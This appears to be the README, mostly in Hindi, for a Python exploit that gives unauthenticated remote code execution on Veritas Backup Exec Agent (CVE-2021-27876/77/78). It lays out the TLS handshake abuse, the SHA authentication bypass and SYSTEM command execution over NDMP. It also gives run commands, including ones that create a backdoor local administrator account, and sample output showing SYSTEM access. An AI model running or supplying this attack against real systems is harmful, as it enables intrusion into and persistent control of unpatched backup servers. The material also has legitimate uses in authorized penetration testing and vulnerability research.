
Unauthenticated RCE exploit for Veritas Backup Exec Agent (CVE-2021-27876/77/78) — SHA auth bypass to SYSTEM via NDMP
Veritas Backup Exec एजेंट के लिए अप्रमाणित RCE शोषण (CVE-2021-27876/77/78) — NDMP के माध्यम से SHA प्रमाणीकरण बाईपास से SYSTEM तक पहुँच
| CVE | विवरण | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | NDMP प्रोटोकॉल में SHA हैश हेरफेर के माध्यम से प्रमाणीकरण बाईपास | 9.8 गंभीर |
| CVE-2021-27877 | NDMP के माध्यम से अप्रमाणित मनमाना फ़ाइल पढ़ना | 9.8 गंभीर |
| CVE-2021-27878 | NDMP_EXECUTE_COMMAND के माध्यम से मनमाना OS कमांड निष्पादन | 9.8 गंभीर |
सलाह: Veritas VTS21-003
समाधान: Backup Exec 21.3 और बाद के संस्करण।
Veritas Backup Exec एजेंट TCP/10000 पर सुनता है और NDMP (Network Data Management Protocol) बोलता है। यह शोषण तीन कमजोरियों को श्रृंखलाबद्ध करता है:
TLS हैंडशेक का दुरुपयोग — एजेंट अपनी कस्टम TLS बातचीत के दौरान एक CSR का अनुरोध करता है। शोषण एक स्थानीय CA उत्पन्न करता है, एजेंट के CSR पर हस्ताक्षर करता है, और हैंडशेक पूरा करता है, बिना किसी पूर्व-साझा रहस्य के सॉकेट को TLS में अपग्रेड करता है।
SHA प्रमाणीकरण बाईपास (CVE-2021-27876) — NDMP SHA प्रमाणीकरण SHA256('\x00' * 64 + challenge) की गणना करता है। क्योंकि पासवर्ड को 64-बाइट शून्य-पैडेड ब्लॉक के रूप में प्रस्तुत किया जाता है और पासवर्ड सामग्री का कोई सर्वर-साइड सत्यापन नहीं होता है, कोई भी क्लाइंट पासवर्ड जाने बिना Administrator के रूप में प्रमाणित हो सकता है।
NDMP_EXECUTE_COMMAND (CVE-2021-27878) — एक बार प्रमाणित होने के बाद, NDMP_EXECUTE_COMMAND संदेश प्रकार NT AUTHORITY\SYSTEM के रूप में मनमाना OS कमांड चलाता है। आउटपुट को C:\Windows\Temp\_be_out.txt पर पुनर्निर्देशित किया जाता है और NDMP_FILE_READ के माध्यम से वापस पढ़ा जाता है।
Python 3.8+
आधुनिक वितरणों पर Python को "externally managed" (PEP 668) चिह्नित किया गया है, इसलिए निर्भरता को वर्चुअल एनवायरनमेंट में स्थापित करें:
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
उदाहरण:
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"
# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Sample output:
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
उपचार
संदर्भ
कानूनी
यह उपकरण केवल अधिकृत पेनिट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध उपयोग अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता है।